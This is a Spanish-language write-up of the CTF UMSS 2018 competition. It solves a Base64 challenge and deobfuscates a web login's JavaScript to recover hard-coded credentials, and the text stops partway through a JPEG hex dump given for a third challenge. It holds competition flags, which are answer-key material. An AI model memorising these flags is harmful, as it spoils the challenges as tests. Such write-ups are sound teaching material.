Write Up CTF UMSS 2018
Esta es la segunda parte de la serie de CTFs rumbo al CIDSI 2018.
Este CTF fue organizado por la Sociedad Científica de Estudiantes de Sistemas e Informática (SCESI-UMSS) con el apoyo de la Jefatura de Carreras de Informática y Sistemas de la Universidad Mayor de San Simón (UMSS), además de @crhystamil quien fue el que realizo los retos, muchas gracias por tan buenos retos!
Estuvo alojado en la plataforma de FBCTF, y participamos en equipo como Dark Army con Israel, Rafael y mi persona, logrando el 1er puesto, sin mas preámbulos, empecemos!
1.-
problema:
ZmxhZ3tVTVNTX2VkdV9TY2VzaV9DdGZ9Cg==
solución:
Algo sencillo para empezar, como podemos ver, la solucion esta en Base64
La flag es:
flag{UMSS_edu_Scesi_Ctf}
2.-
Se muy observador y encuentra el flag para este reto.
solución:
Bueno, en el problema nos da un login:
Podríamos intentar mas de una forma de burlar el login, pero primero revisemos el código fuente, nos muestra que el login esta siendo verificado con Javascript:
var _0x9045=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x6E\x61\x6D\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x70\x61\x73\x73\x77\x6F\x72\x64","\x45\x48\x43","\x4D\x33\x52\x6F\x61\x57\x4D\x30\x62\x46\x39\x6F\x4E\x47\x4E\x72\x4D\x57\x35\x6E","\x46\x4C\x41\x47\x20\x65\x6E\x63\x6F\x6E\x74\x72\x61\x64\x61\x21\x21\x2C\x20\x69\x6E\x67\x72\x65\x73\x61\x20\x65\x6C\x20\x66\x6C\x61\x67\x20\x65\x6E\x20\x65\x6C\x20\x66\x6F\x72\x6D\x61\x74\x6F\x20\x66\x6C\x61\x67\x7B\x2E\x2E\x2E\x2E\x7D","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x69\x6E\x64\x65\x78\x2E\x68\x74\x6D\x6C","\x59\x6F\x75\x20\x68\x61\x76\x65\x20\x6C\x65\x66\x74\x20","\x20\x61\x74\x74\x65\x6D\x70\x74\x3B","\x64\x69\x73\x61\x62\x6C\x65\x64","\x73\x75\x62\x6D\x69\x74"];var attempt=3;function validate(){var _0xd22bx3=document[_0x9045[2]](_0x9045[1])[_0x9045[0]];var _0xd22bx4=document[_0x9045[2]](_0x9045[3])[_0x9045[0]];if(_0xd22bx3== _0x9045[4]&& _0xd22bx4== atob(_0x9045[5])){alert(_0x9045[6]);window[_0x9045[7]]= _0x9045[8];return false}else {attempt--;alert(_0x9045[9]+ attempt+ _0x9045[10]);if(attempt== 0){document[_0x9045[2]](_0x9045[1])[_0x9045[11]]= true;document[_0x9045[2]](_0x9045[3])[_0x9045[11]]= true;document[_0x9045[2]](_0x9045[12])[_0x9045[11]]= true;return false}}}
Sin embargo esta ofuscado, podemos buscar muchos sitios en linea para desofuscarlo y tenerlo mas comprensible:
var attempt = 3;
function validate() {
var _0xd22bx3 = document['getElementById']('username')['value'];
var _0xd22bx4 = document['getElementById']('password')['value'];
if (_0xd22bx3 == 'EHC' && _0xd22bx4 == atob('M3RoaWM0bF9oNGNrMW5n')) {
alert('FLAG encontrada!!, ingresa el flag en el formato flag{....}');
window['location'] = 'index.html';
return false
} else {
attempt--;
alert('You have left ' + attempt + ' attempt;');
if (attempt == 0) {
document['getElementById']('username')['disabled'] = true;
document['getElementById']('password')['disabled'] = true;
document['getElementById']('submit')['disabled'] = true;
return false
}
}
}
Podemos analizar que el username es: EHC, y el password esta oculto en Base64(atob): 3thic4l_h4ck1ng. Entonces el login nos dice que la flag es la password con el formato flag{...}:
flag{3thic4l_h4ck1ng}
3.-
file_5e9666c7a0773f3785123f19986b4c5f
nos dan un archivo de texto, el cual contiene lo siguiente
00000000: ffd8 ffe0 0010 4a46 4946 0001 0100 0001 ......JFIF......
00000010: 0001 0000 ffdb 0043 0005 0304 0404 0305 .......C........
00000020: 0404 0405 0505 0607 0c08 0707 0707 0f0b ................
00000030: 0b09 0c11 0f12 1211 0f11 1113 161c 1713 ................
00000040: 141a 1511 1118 2118 1a1d 1d1f 1f1f 1317 ......!.........
00000050: 2224 221e 241c 1e1f 1eff db00 4301 0505 "$".$.......C...
00000060: 0507 0607 0e08 080e 1e14 1114 1e1e 1e1e ................
00000070: 1e1e 1e1e 1e1e 1e1e 1e1e 1e1e 1e1e 1e1e ................
00000080: 1e1e 1e1e 1e1e 1e1e 1e1e 1e1e 1e1e 1e1e ................
00000090: 1e1e 1e1e 1e1e 1e1e 1e1e 1e1e 1e1e ffc0 ................
000000a0: 0011 0800 4800 d703 0122 0002 1101 0311 ....H...."......
000000b0: 01ff c400 1c00 0002 0301 0101 0100 0000 ................
000000c0: 0000 0000 0000 0006 0507 0804 0301 02ff ................
000000d0: c400 4610 0001 0303 0103 060a 0705 0705 ..F.............
000000e0: 0000 0000 0102 0304 0506 1100 0712 2113 ..............!.
000000f0: 1517 3194 d214 2241 5456 5761 9395 d308 ..1..."ATVWa....
00000100: 2332 5155 71d1 2433 5262 8109 1637 7591 #2QUq.$3Rb...7u.
00000110: b1b3 2542 4372 a1ff c400 1b01 0100 0300 ..%BCr..........
00000120: 0301 0000 0000 0000 0000 0000 0001 0203 ................
00000130: 0405 0607 ffc4 0031 1100 0201 0203 0506 .......1........
00000140: 0505 0100 0000 0000 0000 0102 0311 31a1 ..............1.
00000150: e104 0506 2141 1215 5161 81f0 1663 91b1 ....!A..Qa...c..
00000160: d113 3243 71c1 f1ff da00 0c03 0100 0211 ..2Cq...........
00000170: 0311 003f 00b7 b661 b2eb 6a56 cd6d 8912 ...?...a..jV.m..
00000180: ac2b 3e44 8768 f116 ebd2 21b4 5c75 6594 .+>D.h....!.\ue.
00000190: e56a 3c91 c927 2724 93c7 4c5d 13da 7eae .j<..''$..L]..~.
000001a0: ac6e c2d7 c8d3 3eca ff00 c30b 53fc 961f .n....>.....S...
000001b0: fc08 d448 beaa b222 3f5b a6da 4fcd b719 ...H..."?[..O...
000001c0: 52ff 006d 4cc4 a5f7 9b41 214e b4c1 4f8c R..mL....A!N..O.
000001d0: 8e04 8ca8 1501 9038 8c81 1dd1 3da7 eaea .......8....=...
000001e0: c6ec 2d7c 8d1d 13da 7eae ac6e c2d7 c8d5 ..-|....~..n....
000001f0: 8b02 5c79 f063 ce88 ea5d 8d21 a4ba d383 ..\y.c...].!....
00000200: a968 5005 247e 608d 23ed 5369 94bb 22a1 .hP.$~`.#.Si..".
00000210: 46a3 aa4d 0b9d aace a92c b755 ac22 030d F..M.....,.U."..
00000220: 3694 2945 d71c 295a 9292 53b8 9c20 e544 6.)E..)Z..S.. .D
00000230: 0d2c 0e2e 89ed 3f57 5637 616b e468 e89e .,....?WV7ak.h..
00000240: d3f5 7563 7616 be46 a4ad 6da2 4191 6cd4 ..ucv..F..m.A.l.
00000250: 6b17 8b94 7b54 53ea cfd2 9f53 d554 aa31 k...{TS....S.T.1
00000260: 75a5 6ee5 2f38 86b3 bd83 8052 0e9a a0d6 u.n./8.....R....
00000270: e8d3 e8dc f506 af4f 954b dc53 9e1a cc94 .......O.K.S....
00000280: 2d8d d4fd a56f 83bb 8183 939e 18d2 c043 -....o.........C
00000290: e89e d3f5 7563 7616 be46 8e89 ed3f 5756 ....ucv..F...?WV
000002a0: 3761 6be4 69ce 8175 5b17 02f7 2837 1d1e 7ak.i..u[...(7..
000002b0: acad c2e6 ec29 adbe 7701 c157 88a3 c33c .....)..w..W...<
000002c0: 33f7 ea3a dfba 66d6 af7b 8289 1e90 cb74 3..:..f..{.....t
000002d0: ca1b c88a fce5 cc3c ab92 14cb 4f6e a190 .......<....On..
000002e0: 8c6e 043a 32b2 b072 3012 471d 2c05 de89 .n.:2..r0.G.,...
000002f0: ed3f 5756 3761 6be4 68e8 9ed3 f575 6376 .?WV7ak.h....ucv
00000300: 16be 46a5 2c7d a0bb 77a2 2cba 6d91 72b3 ..F.,}..w.,.m.r.
00000310: 4992 e388 454e 4390 52c8 dc52 9054 5099 I...ENC.R..R.TP.
00000320: 25dc 6f20 81f5 79ea e18e 3a9d b1ee 5837 %.o ..y...:...X7
00000330: 7db1 16e1 a6b5 25a8 b254 e250 8909 4a5c }.....%..T.P..J\
00000340: 1b8e 29b3 9092 475a 0e38 f563 4b01 3ba2 ..)...GZ.8.cK.;.
00000350: 7b4f d5d5 8dd8 5af9 1a3a 27b4 fd5d 58dd {O....Z..:'..]X.
00000360: 85af 91a9 d95b 41a1 31b4 a856 0a5a 9afd .....[A.1..V.Z..
00000370: 4e53 4e2c bcd3 6931 d852 1be5 3937 1654 NSN,..i1.R..97.T
00000380: 0859 4615 ba01 c052 49c0 50cc 9546 f1b4 .YF....RI.P..F..
00000390: 69b5 4729 550b a687 0ea0 da42 dc8a fd41 i.G)U......B...A
000003a0: a6dd 424e 304a 0ab2 01c8 e38f 2e96 0287 ..BN0J..........
000003b0: 44f6 9fab ab1b b0b5 f234 744f 69fa bab1 D........4tOi...
000003c0: bb0b 5f23 565e 9229 7b41 76ad 5ca8 d3a9 .._#V^.){Av.\...
000003d0: 1645 cb3a 3d3a a6ba 6caa 821c 8286 10ea .E.:=:..l.......
000003e0: 3777 ce17 252e 1480 a072 1193 e404 f0d2 7w..%....r......
000003f0: c08b e89e d3f5 7563 7616 be46 8e89 ed3f ......ucv..F...?
00000400: 5756 3761 6be4 69be 8578 5a35 e9ef 53e8 WV7ak.i..xZ5..S.
00000410: 774d 0eab 318c f2d1 e1d4 1a79 c6f0 7077 wM..1......y..pw
00000420: 9295 1230 7871 d7bb d725 bacd 7dbb 7dea ...0xq...%..}.}.
00000430: fd29 bac3 a9de 6e9e b98d 890b 18ce 4364 .)....n.......Cd
00000440: ef11 8f66 9602 4f44 f69f abab 1bb0 b5f2 ...f..OD........
00000450: 3474 4f69 faba b1bb 0b5f 2352 532f d762 4tOi....._#RS/.b
00000460: 18c1 da44 7578 4dd1 cc09 e46a 4dbb ba93 ...DuxM....jM...
00000470: bd87 95b8 0eea bc5e 2d2b 0a19 e246 9e74 .......^-+...F.t
00000480: b02b 4e89 ed3f 5756 3761 6be4 68e8 9ed3 .+N..?WV7ak.h...
00000490: f575 6376 16be 469d 615c f6d4 eae3 f428 .ucv..F.a\.....(
000004a0: 570d 264d 5a36 7978 2ccd 6d72 1ac7 5ef3 W.&MZ6yx,.mr..^.
000004b0: 60ef 271e d1a9 6d2c 0ad3 a27b 4fd5 d58d `.'...m,...{O...
000004c0: d85a f91a 3a27 b4fd 5d58 dd85 af91 afb0 .Z..:'..]X......
000004d0: 36c1 4f91 6f7f 79e4 5a17 5c2b 6c29 cdfa 6.O.o.y.Z.\+l)..
000004e0: b38c c675 96d0 85a9 0b71 4865 f5bc 9402 ...u.....qHe....
000004f0: 9564 96f8 0193 c353 f5ab de9d 46a9 4a35 .d.....S....F.J5
00000500: 1769 cc51 a351 8551 7505 549a 0482 e6e8 .i.Q.Q.Qu.T.....
00000510: 4868 90ad d3c3 0e67 7492 1238 e960 2ff4 Hh.....gt..8.`/.
00000520: 4f69 faba b1bb 0b5f 2347 44f6 9fab ab1b Oi....._#GD.....
00000530: b0b5 f235 e5b3 4dae 46bd 6751 e346 16b2 ...5..M.F.gQ.F..
00000540: 9752 61c9 2e31 02e7 6654 a86d 86d0 a407 .Ra..1..fT.m....
00000550: 58dc 4ab9 4254 a4a9 29de 08dc e2a3 9e0f X.J.BT..).......
00000560: 712e 4b76 6571 fa14 4afd 2a45 5a38 25f8 q.Kveq..J.*EZ8%.
00000570: 2d4c 6d52 1a03 aca9 b077 87f5 1a58 093d -LmR.....w...X.=
00000580: 13da 7eae ac6e c2d7 c8d1 d13d a7ea eac6 ..~..n.....=....
00000590: ec2d 7c8d 484e da3b 54ad 9aa2 f4aa 5067 .-|.HN.;T.....Pg
000005a0: 3e81 1df9 3223 d21d 6a72 5a6d 9de2 b572 >...2#..jrZm...r
000005b0: c149 6880 9413 f687 1f14 648c 6bc6 ecba .Ih.......d.k...
000005c0: ee08 d735 0ffb bb0e 3ce8 f2ed ca8d 4d70 ...5....<.....Mp
000005d0: 25c8 1183 aa69 e801 0795 0db8 52a4 a1f7 %....i......R...
000005e0: 4048 1ba4 ab89 e008 5815 57d2 82c1 b62d @H......X.W....-
000005f0: ed86 5c55 866c db62 98e4 7f06 c4aa 7c26 ..\U.l.b......|&
00000600: c3ed ef4a 693e 2e1b 475e f60f 8c38 13d7 ...Ji>..G^...8..
00000610: d5a3 537f 4a9a e317 37d0 d2ab 7245 696c ..S.J...7...rEil
00000620: b155 814c 9ad3 6bfb 484b b263 2c03 8f28 .U.L..k.HK.c,..(
00000630: 0ac6 8d01 6bec affc 30b5 3fc9 61ff 00c0 ....k...0.?.a...
00000640: 8d41 1b6a f6a5 dbef 5ad6 ed42 889a 5943 .A.j....Z..B..YC
00000650: 8d44 9728 39e1 111a 5138 46e2 414b 8520 .D.(9...Q8F.AK.
00000660: e028 94f5 0c83 e5ee d95d 6a91 d185 abbd .(.......]j.....
00000670: 5386 8228 d101 0b79 293f b947 909d 3273 S..(...y)?.G..2s
00000680: d51f f168 1da1 1fae 8084 d994 f439 6eb5 ...h.........9n.
00000690: 425d 3a45 326d 11b6 e0c8 88f1 dedc dd40 B]:E2m.........@
000006a0: 0852 5780 1695 2464 287f 5035 c17c 419b .RW...$d(.P5.|A.
000006b0: 2369 db3d 991e 1c87 a344 9539 525e 4345 #i.=.....D.9R^CE
000006c0: 4864 2a1b 8949 5a80 c241 5100 67ac 9c69 Hd*..IZ..AQ.g..i
000006d0: ab9e a8ff 008b 40ed 08fd 7473 d51f f168 ......@...ts...h
000006e0: 1da1 1fae 80a8 5b5d e16f db95 634d 8958 ......[].o..cM.X
000006f0: 80d4 cbea 72a7 4a89 4b32 a5b1 056a 7141 ....r.J.K2...jqA
00000700: f658 2857 2814 b0d8 de08 5f8a a242 4e38 .X(W(....._..BN8
00000710: 2e53 e817 2d42 c6da 3309 a4dc 93a3 3f73 .S..-B..3.....?s
00000720: 40a8 b51e ab01 b8b2 6a91 5b11 1720 06d0 @.......j.[.. ..
00000730: db68 cb89 6963 7424 127c 558d e2ad 681e .h..ict$.|U...h.
00000740: 7aa3 fe2d 03b4 23f5 d73d 4a6d bb52 80fc z..-..#..=Jm.R..
00000750: 09b5 180e c77d 050e 23c2 9232 0fb4 1c83 .....}..#..2....
00000760: ed1c 4680 ac6c e9f0 2b3f 48da 9cfa 5d16 ..F..l..+?H...].
00000770: a349 42ed 065b 5bd2 e9eb 86eb aaf0 9561 .IB..[[........a
00000780: 5c93 a90a f147 8a14 a4e0 ee90 3213 a99d \....G......2...
00000790: 87c7 769b 59da 0d16 64f7 6a53 a25c 616f ..v.Y...d.jS.\ao
000007a0: 4e90 1224 4a4b 90a3 2d0a 7128 0100 8490 N..$JK..-.q(....
000007b0: 81b8 94a7 081c 339c b05a d4ab 22d9 7a5c ......3..Z..".z\
000007c0: 8a4c b8c2 54dd cf09 952a a6b9 4fba 119d .L..T....*..O...
000007d0: c4a9 d796 a594 a727 09ce 064e 071d 7725 .......'...N..w%
000007e0: 366a 6bca afa4 5005 5d4c f20a 9e03 3e10 6jk...P.]L....>.
000007f0: 5ac8 3b85 cfb5 bb90 3867 1c06 8046 fa3c Z.;.....8g...F.<
00000800: 5948 a3d9 14aa 9d41 bb8e 1d59 2e4b 2e44 YH.....A...Y.K.D
00000810: 9555 9a96 51bd 21dc 7ec8 b739 24e5 2411 .U..Q.!.~..9$.$.
00000820: e279 4287 1e3a e6d8 4d79 148d 9fd2 ad29 .yB..:..My.....)
00000830: f4bb 9e9f 594b d25a fafb 667f 22da 9725 ....YK.Z..f."..%
00000840: d521 4a77 91e4 b770 a49c 9581 ed1a b479 .!Jw...p.......y
00000850: ea8f f8b4 0ed0 8fd7 473d 51ff 0016 81da ........G=Q.....
00000860: 11fa e80a 561d 877e dbdb 46d9 f239 ee95 ....V..~..F..9..
00000870: 568f 1e45 4644 ea8b 76eb e852 96eb 692e V..EFD..v..R..i.
00000880: ae42 fc29 49e5 1de2 949f 1424 8184 a800 .B.)I......$....
00000890: 80bb b456 8523 6637 65b5 59b5 2a8f d664 ...V.#f7e.Y.*..d
000008a0: 5d66 7a2a 1cde b546 790e d410 b65f 1271 ]fz*...Fy...._.q
000008b0: b80a 5a52 1adc dedf ca77 4270 75a3 39ea ..ZR.....wBpu.9.
000008c0: 8ff8 b40e d08f d74b 550b 7767 d50a fb75 .......KU.wg...u
000008d0: b9af 4691 29b7 d125 2dae aae1 8c1e 4e37 ..F.)..%-.....N7
000008e0: 5df0 7e53 92df 1804 2b73 3900 e73a 01d3 ].~S....+s9..:..
000008f0: 553e cbac a48b 8aef ae54 dab8 a1cb 3764 U>.......T....7d
00000900: a911 1be7 59b1 633e deeb 650b e412 e25a ....Y.c>..e....Z
00000910: 7124 e46f 1428 2b18 39c6 3539 36d6 b225 q$.o.(+.9.596..%
00000920: cc7a 5bb7 2d7d 2e3c e29c 506a f5a8 b480 .z[.-}.<..Pj....
00000930: 49c9 0942 2484 a471 e094 8007 5000 69b5 I..B$..q....P.i.
00000940: 358a 3252 122a d070 0638 c949 3fef a028 5.2R.*.p.8.I?..(
00000950: 3a63 f7bd 72f4 d9d5 4eb4 cde2 ed5e 2d59 :c..r...N....^-Y
00000960: 6bac 30e5 05b8 f4ea 5854 57d0 a436 f064 k.0.....XTW..6.d
00000970: 38e2 0929 0141 d5a0 800a b0a2 8d39 6ce1 8..).A.......9l.
00000980: 09b7 ea75 8b76 e0b5 6ab2 6af3 6e49 33d3 ...u.v..j.j.nI3.
00000990: 3d34 b53d 1e4b 6e3e 5c61 f323 1c9a 0b6d =4.=.Kn>\a.#...m
000009a0: 9427 754a 0a4f 2784 83c3 3657 3d51 ff00 .'uJ.O'...6W=Q..
000009b0: 1681 da11 fae8 e7aa 3fe2 d03b 423f 5d01 ........?..;B?].
000009c0: 4ea2 875a faaf fa3d 4386 d457 38fe ccbe N..Z...=C..W8...
000009d0: 11bc 7fae eafd df11 e3f5 7b75 77bc 95a9 ..........{uw...
000009e0: a5a5 b5ee 2ca4 84ab 19c1 fbf5 c4aa c519 ....,...........
000009f0: 4929 3568 3823 1c24 a41f f7d2 942b 5ac8 I)5h8#.$.....+Z.
00000a00: 8931 996d 5cb5 f538 cb89 7121 dbd6 a2ea .1.m\..8..q!....
00000a10: 0907 2029 0b92 52a1 c38a 5408 3d44 11a0 .. )..R...T.=D..
00000a20: 2b9b 3e8f 5155 0b66 d68b 56a5 5a05 c36d +.>.QU.f..V.Z..m
00000a30: d55b 9157 a83d 016d c742 5087 0487 5324 .[.W.=.m.BP...S$
00000a40: 8dc7 bc20 aba9 0a51 3ca6 5406 0eb4 16b8 ... ...Q<.T.....
00000a50: 1558 a329 2526 ad07 0463 8494 83fe fa52 .X.)%&...c.....R
00000a60: 856b 5911 2633 2dab 96be a719 712e 243b .kY.&3-.....q.$;
00000a70: 7ad4 5d41 20e4 0521 724a 5438 714a 8107 z.]A ..!rJT8qJ..
00000a80: a882 3405 7d65 562a 1076 10ed 911e cfba ..4.}eV*.v......
00000a90: 655c 8eb1 3e2a 223d 4493 1d80 b79e 7b71 e\..>*"=D.....{q
00000aa0: 4b90 ea12 c846 1695 1216 7875 0278 6a5e K....F....xu.xj^
00000ab0: 25a9 57a2 d605 33c1 654c 6e0e cd9b a509 %.W...3.eLn.....
00000ac0: 4db2 a536 f486 d4a4 ee25 58e2 b38c eef5 M..6.....%X.....
00000ad0: e0f5 6ad7 e7aa 3fe2 d03b 423f 5d1c f547 ..j...?..;B?]..G
00000ae0: fc5a 0768 47eb a02a fa0d 1ab2 897b 1fcd .Z.hG..*.....{..
00000af0: 3e6b 0605 b725 896e 2a3a b111 d312 3a52 >k...%.n*:....:R
00000b00: 9732 3c45 6f25 430a c1ca 48f2 6ba7 6161 .2<Eo%C...H.k.aa
00000b10: aa45 af40 b3aa 968d 5625 7e94 dad3 3653 .E.@....V%~...6S
00000b20: b4c5 f83f 2e12 a0e4 94ca 2371 ce54 9272 ...?......#q.T.r
00000b30: 8515 9e53 c600 6716 3f3d 51ff 0016 81da ...S..g.?=Q.....
00000b40: 11fa e8e7 aa3f e2d0 3b42 3f5d 014d 2db9 .....?..;B?].M-.
00000b50: d49f a23c ba04 ba2d 7555 6a85 12a3 063c ...<...-uUj....<
00000b60: 28f4 9932 1ee5 9c4b e109 5a1b 428b 60e4 (..2...K..Z.B.`.
00000b70: 78cb c278 8e3c 7533 4dac 4493 75da 538c x..x.<u3M.D.u.S.
00000b80: 69cc 3512 cdac a1f6 aa30 5e86 b050 ed2f i.5......0^..P./
00000b90: 7814 3c84 ab77 f9b1 83e4 2756 673d 51ff x.<..w....'Vg=Q.
00000ba0: 0016 81da 11fa ea16 e1a6 d857 14b6 2557 ...........W..%W
00000bb0: daa1 d557 1d87 63b6 898b 43ad 86dc 5b4e ...W..c...C...[N
00000bc0: 2c16 d44a 09de 61a2 0904 828e 0464 e40c ,..J..a......d..
00000bd0: ff00 b4ca 7cb8 1fd9 f4ea a554 e54c 12e9 ....|......T.L..
00000be0: 94a9 4cb2 ea50 1109 b724 4552 63b7 81bc ..L..P...$ERc...
00000bf0: 5080 700b 8a5a bef5 7500 69eb e98b 269f P.p..Z..u.i...&.
00000c00: 2fe8 d174 53a9 5222 bee9 4c24 b31e 32d2 /..tS.R"..L$..2.
00000c10: a561 3318 384a 53e4 0079 3a80 d1a0 1af6 .a3.8JS..y:.....
00000c20: 2f4e 7a46 c76c a7d1 25b4 25cb 7e02 c24b /NzF.l..%.%.~..K
00000c30: 4545 20c7 41c6 7786 7f3c 0d36 f344 8f3c EE .A.w..<.6.D.<
00000c40: 6bdc 1ef6 b26b 094b 7163 b0da 1286 9865 k....k.Kqc.....e
00000c50: 0cb6 848c 04a1 2901 207e 400d 4ec7 b52e ......). ~@.N...
00000c60: 07e0 226b 54e5 29a7 11ca 369e 5101 c711 .."kT.)...6.Q...
00000c70: fc49 6c9d f50f 6807 5dfd 3dc9 0952 8d49 .Il...h.].=..R.I
00000c80: 55b7 6927 878f a9d2 4f7b ca35 2508 d3bd U.i'....O{.5%...
00000c90: 9beb a1a5 79a2 479e 35ee 0f7b 4734 48f3 ....y.G.5..{G4H.
00000ca0: c6bd c1ef 6b28 6bb2 974c 9953 5ba9 8886 ....k(k..L.S[...
00000cb0: c869 1bee 2dc7 50d2 109c 8192 a590 91c4 .i..-.P.........
00000cc0: 81c4 f975 b3e1 d515 7757 2d4c 96fc 6dd9 ...u....wW-L..m.
00000cd0: 53cf 4351 f344 8f3c 6bdc 1ef6 8e68 91e7 S.CQ.D.<k....h..
00000ce0: 8d7b 83de d65c ab53 6652 e4a6 3cd4 3695 .{...\.SfR..<.6.
00000cf0: adb4 ba92 dba8 712a 42b8 8214 8241 07f3 ......q*B....A..
00000d00: d71e 91e1 d525 7557 2d43 df8d 3b3a 79e8 .....%uW-C..;:y.
00000d10: 6afe 6891 e78d 7b83 ded1 cd12 3cf1 af70 j.h...{.....<..p
00000d20: 7bda ca1a ec7a 9935 9a5b 3537 5b42 233e {....z.5.[57[B#>
00000d30: a21a 2a75 014b c120 908c ef10 0823 38c6 ..*u.K. .....#8.
00000d40: 7867 47c3 a963 572d 42df 8de1 4f3d 0d47 xgG..cW-B...O=.G
00000d50: cd12 3cf1 af70 7bda 39a2 479e 35ee 0f7b ..<..p{.9.G.5..{
00000d60: 598a 4dbf 5e8b 1153 24d1 2a4c c648 0a53 Y.M.^..S$.*L.H.S
00000d70: ce45 5a50 01ea 3bc4 63ca 35c3 2587 e33c .EZP..;.c.5.%..<
00000d80: a624 b2e3 2ea7 1bc8 7125 2a19 191c 0fb0 .$......q%*.....
00000d90: 8d44 787e 32c2 adfd 3525 efb9 471a 79e8 .Dx~2...5%..G.y.
00000da0: 6abe 6891 e78d 7b83 ded1 cd12 3cf1 af70 j.h...{.....<..p
00000db0: 7bda cacd c496 e437 2622 2beb 8cd2 825c {......7&"+....\
00000dc0: 792d 9284 13d4 0aba 813a f1d4 ae1d 4ff9 y-.......:....O.
00000dd0: 72d4 8efd 6bf8 f3d0 d5fc d123 cf1a f707 r...k......#....
00000de0: bda3 9a24 79e3 5ee0 f7b5 9435 24dd bf5e ...$y.^....5$..^
00000df0: 7210 9add 12a4 b8a5 1ca7 2e98 ab2d eef5 r............-..
00000e00: ef6f 6318 f6ea 25c3 d18e 356d e9a9 2b7e .oc...%...5m..+~
00000e10: 3961 4f3d 0d3b cd12 3cf1 af70 7bda 39a2 9aO=.;..<..p{.9.
00000e20: 479e 35ee 0f7b 5943 46ad f0e7 cccb 52bd G.5..{YCF.....R.
00000e30: fdf2 f3d0 d5fc d123 cf1a f707 bda3 9a24 .......#.......$
00000e40: 79e3 5ee0 f7b5 9839 9aa5 c7f6 6ea8 9e1a y.^....9....n...
00000e50: 7c74 fee7 f8ba fdbd 5d7e cd47 ea17 0f46 |t......]~.G...F
00000e60: 5855 cb52 5efc 6b1a 79e8 6afe 6891 e78d XU.R^.k.y.j.h...
00000e70: 7b83 ded1 cd12 3cf1 af70 7bda ca1a 353f {.....<..p{...5?
00000e80: 0e7c ccb5 23bf be5e 7a1a bf9a 2479 e35e .|..#..^z...$y.^
00000e90: e0f7 b473 448f 3c6b dc1e f6b3 0c9a 0576 ...sD.<k.......v
00000ea0: 346f 0a93 45a9 32c0 1bdc ab91 5694 63ef 4o..E.2.....V.c.
00000eb0: c918 d73a 60cb 5404 ce4b 24c7 53dc 8050 ...:`.T..K$.S..P
00000ec0: 2325 cc67 771d 7d5e cd55 70fc 1f35 572d #%.gw.}^.Up..5W-
00000ed0: 4b3d f725 8d2c f435 3734 48f3 c6bd c1ef K=.%.,.574H.....
00000ee0: 68e6 891e 78d7 b83d ed66 39f4 0aa4 16e4 h...x..=.f9.....
00000ef0: 3925 9680 8dba 1fdc 90da cb45 4480 9504 9%.........ED...
00000f00: a890 aca4 f03c 4797 519a 4787 a325 78d5 .....<G.Q.G..%x.
00000f10: bfa6 a25b f1c7 93a7 6f5d 0d5f cd12 3cf1 ...[....o]._..<.
00000f20: af70 7bda 39a2 479e 35ee 0f7b 597d 746a .p{.9.G.5..{Y}tj
00000f30: a26a 8ba5 a603 eecd 47da 6594 f28a ea07 .j......G.e.....
00000f40: fedc e781 1af1 8306 4cd9 c984 c25b 0fa8 ........L....[..
00000f50: 9012 eba9 6864 7932 b206 7d9a 7c3f 1b5f ....hdy2..}.|?._
00000f60: f572 d477 dcaf 6fd2 cf42 ccfa 60c4 720f .r.w..o..B..`.r.
00000f70: d1d2 e994 ebc9 7908 f04c a128 dc27 3319 ......y..L.(.'3.
00000f80: 1d79 38eb fbb4 6aab 9ec3 b19c 7a34 86d4 .y8...j.....z4..
00000f90: dbcd 2ca1 c42b ad2a 0704 1feb a35e 477f ..,..+.*.....^G.
00000fa0: ed3d cfb4 c682 5dbb c54a f862 daf3 f03d .=....]..J.b...=
00000fb0: 46e4 d9fb d284 ab5f b367 6b63 d13f 2f13 F......_.gkc.?/.
00000fc0: f08f b09f cb4f b219 8b59 bb19 b919 b869 .....O...Y.....i
00000fd0: f062 29c6 9d57 2afe e3d1 7740 f103 7d6a .b)..W*...w@..}j
00000fe0: ddc6 1253 918c 711a 4161 4972 2477 db52 ...S..q.AaIr$w.R
00000ff0: 56d3 eca1 e6d4 9390 a429 20a4 ff00 5046 V........) ...PF
00001000: bf7a fa46 cf4b b7b3 d369 d9f6 52fa a478 .z.F.K...i..R..x
00001010: 1af5 7b15 ea26 aebb 4dfd 1b26 2f58 efc7 ..{..&..M..&/X..
00001020: baea 5cbc 4310 bb25 6f21 b382 0216 a2a4 ..\.C..%o!......
00001030: e08e 0460 8e23 86a4 6d39 efc4 b52e 3e49 ...`.#..m9....>I
00001040: b8aa dd6d 850e 5a2b 6ef1 2ea4 71df 49c8 ...m..Z+n...q.I.
00001050: f675 03c7 af4b f2e7 cc97 1a34 6932 16eb .u...K.....4i2..
00001060: 5152 50c2 55c7 7124 e700 f5e3 3e4d 7936 QRP.U.q$....>My6
00001070: fbcd b4eb 2dbc e21b 7400 e212 a202 c039 ....-...t......9
00001080: 191e 5c1e 3add d172 a6a1 2e96 c998 aaaa ..\.:..r........
00001090: 351c a3e7 9a1d de8c b76a 30e4 8798 69a8 5........j0...i.
000010a0: 76fc 77de 5390 d128 ee61 29f1 5b58 c139 v.w.S..(.a).[X.9
000010b0: 50e2 7181 939d 743d 48a6 bb70 d064 087b P.q...t=H..p.d.{
000010c0: fe19 4d7a 4f20 b8a2 3890 eb61 d2de 5a4a ..MzO ..8..a..ZJ
000010d0: 8848 56ea 3803 83ec ce34 8ccd 4aa2 c496 .HV.8....4..J...
000010e0: a4b3 3e53 4fb4 80db 6e21 e505 2120 6024 ..>SO...n!..! `$
000010f0: 1072 063c 9af4 e749 8ece 8f2a 7499 530b .r.<...I...*t.S.
00001100: 2ade 4f29 215b c38e f1c2 b394 9c92 723c *.O)![........r<
00001110: bc75 83d9 aa74 7d3f cf7d 4d96 d10e abaf .u...t}?.}M.....
00001120: fbef a13f 573e 1761 c7a8 caa6 448b 2155 ...?W>.a....D.!U
00001130: 4535 cbb1 112d 15a0 360e 3090 0702 4f56 E5...-..6.0...OV
00001140: 3fd4 6b9a f74b 088b 406e 1b8b 761a 69bf ?.k..K..@n..v.i.
00001150: 52eb 89dd 5af2 f3a5 5bc9 0484 90ad e180 R...Z...[.......
00001160: 4f00 38f1 d78d c971 b956 84c4 24a6 5869 O.8....q.V..$.Xi
00001170: b714 ea97 2e59 90f3 8b20 0e2b 2070 0070 .....Y... .+ p.p
00001180: 0079 4f5e b865 d55c 9547 894e 7a34 7578 .yO^.e.\.G.Nz4ux
00001190: 2652 cbf8 5075 282a 528a 3ed6 e91b ca27 &R..Pu(*R.>....'
